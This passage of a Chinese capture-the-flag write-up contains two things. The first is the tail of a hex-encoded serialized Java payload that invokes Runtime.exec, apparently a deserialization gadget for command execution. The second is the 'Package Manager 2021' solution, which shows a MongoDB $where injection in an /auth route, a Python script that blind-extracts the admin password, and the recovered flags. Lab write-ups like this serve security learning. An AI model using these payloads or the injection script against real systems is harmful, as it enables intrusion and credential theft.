E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901000B746F55707065724361736501001428294C6A6176612F6C616E672F537472696E673B01001B284C6A6176612F6C616E672F4368617253657175656E63653B295A01000967657457726974657201001728294C6A6176612F696F2F5072696E745772697465723B0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B295601000C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C2F5363616E6E65723B0100046E6578740100136A6176612F696F2F5072696E745772697465720100077072696E746C6E010015284C6A6176612F6C616E672F537472696E673B2956010005666C7573680100116765744465636C617265644669656C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656C643B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973417272617901000328295A01000D6765745375706572636C617373010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700CA0A00CB005F0021003300CB000000030008003400350001003600000002003700080038003900000008003A003B000000040001003C003D0001003E0000005C000200010000001E2AB700CC01B3000201B30003BB000459B70005B30006B8000703B80008B100000002003F0000001A0006000000140004001500080016000C001700160018001D001900400000000C00010000001E004100420000000A004300440001003E0000005A000200010000001A2AC6000DB200062AB6000999000504ACB200062AB6000A5703AC00000003003F0000001200040000001D000E001E001000210018002200400000000C00010000001A00450046000000470000000400020E01000A003A00480001003E000001D300050003000000EF1B1034A3000FB20002C6000AB20003C60004B12AB8000B9A00D7B20002C70051120C2AB6000DB6000E9900452AC0000CB30002B20002120FB900100200C7000A01B30002A7002AB20002B6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B20003C6007006BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C041220532C05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B60029B6002AB20003B900210100B6002BA700044DB12A1B0460B80008B100020047006600690017007A00E200E500170003003F0000006A001A000000250012002600130028001A0029002C002A0033002B0040002C0047002F0066003300690031006A0032006E0037007A003A007F003B008F003C0094003D009C003F00A1004000A6004200B3004400D7004500E2004700E5004600E6004800E7004B00EE004D00400000002A0004006A00040049004A0002007F0063004B004C0002000000EF004D00460000000000EF004E004F0001004700000022000B1200336107005004FC002D07005109FF003E0002070052010001070050000006000A005300480001003E000001580002000C000000842AB6000D4D2CB6002C4E2DBE360403360515051504A200652D1505323A06190604B6002D013A0719062AB6002E3A071907B6000DB6002F9A000C19071BB80030A7002F1907C00031C000313A081908BE360903360A150A1509A200161908150A323A0B190B1BB80030840A01A7FFE9A700053A08840501A7FF9A2CB60032594DC7FF85B100010027006F007200170003003F0000004200100000005000050052001E00530024005400270056002F0058003A00590043005B0063005C0069005B006F00620072006100740052007A0065007B00660083006800400000003E00060063000600540046000B0027004D004D00460007001E00560055005600060000008400570046000000000084004E004F00010005007F00580059000200470000002E0008FC000507005AFE000B07005B0101FD003107005C070052FE00110700310101F8001942070050F90001F800050001005D00000002005E707400016170770100787400017878737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000000787871007E000D78;"}}
1
flag{966fc4a2-e291-4136-84be-5bfd19b949e2}

Package Manager 2021

将附件给出的源码解压后审计,可以发现在 init_db.ts 中找到 flag 的位置。

1
2
3
4
5
6
7
const flag = {
"user_id": admin.id,
"pack_id": genPackageId(admin.id),
"name": "Flag is here",
"description": process.env.FLAG,
"version": "1.0.1"
}

因此只需要以 admin 的身份登录即可。在 /auth 路由下可以发现此处存在 token 的拼接查询。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});

同时还对输入的 token 进行了如下的限定,即 checkmd5Regex。其要求所属的内容必须包含符合 ([a-f\d]{32}|[A-F\d]{32}) 的正则表达式。因此可以写如下脚本来进行注入,从而得到用户 admin 的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import httpx as requests
from bs4 import BeautifulSoup
import string

session = requests.Client(base_url="http://ebffa932-6aeb-477e-b9d8-99f4afa3068e.node4.buuoj.cn:81/")
csrfToken = None

# Fetch csrf_token for the first time
response = session.get("/auth")
assert response.status_code == 200
soup = BeautifulSoup(response.content.decode(), features="html.parser")
csrfToken = (soup.find(attrs={"name": "_csrf"})["value"])

# Exploit
dictionary = string.digits + string.ascii_letters + "!#$%&'()*+,-./:;<=>[email protected][\]^_`{|}~"
stack = 0
result = ""
while True:
if stack == 31: # I know there is 30 characters in the password.
break
for j in range(len(dictionary)):
response = session.post("/auth", data={
"_csrf": csrfToken,
"token": f"a5511e7415a5a7a1101057415151a91c\" || (this.username == \"admin\" && this.password[{stack}] == \"{dictionary[j]}\") || \""
}, allow_redirects=False)

if "No matching results" not in response.content.decode() and response.status_code == 302:
result += dictionary[j]
print(f"[+] Found password character {dictionary[j]}, number {stack}, currently {result}")
stack += 1
print(response.content.decode())
break

运行脚本可以得到密码 [email protected]#&@&@efefef*@((@))grgregret3r,使用 admin 和所得的密码登录即可得到 flag。

1
flag{cf79f117-66b1-4dab-b7ae-b54a6e95f198}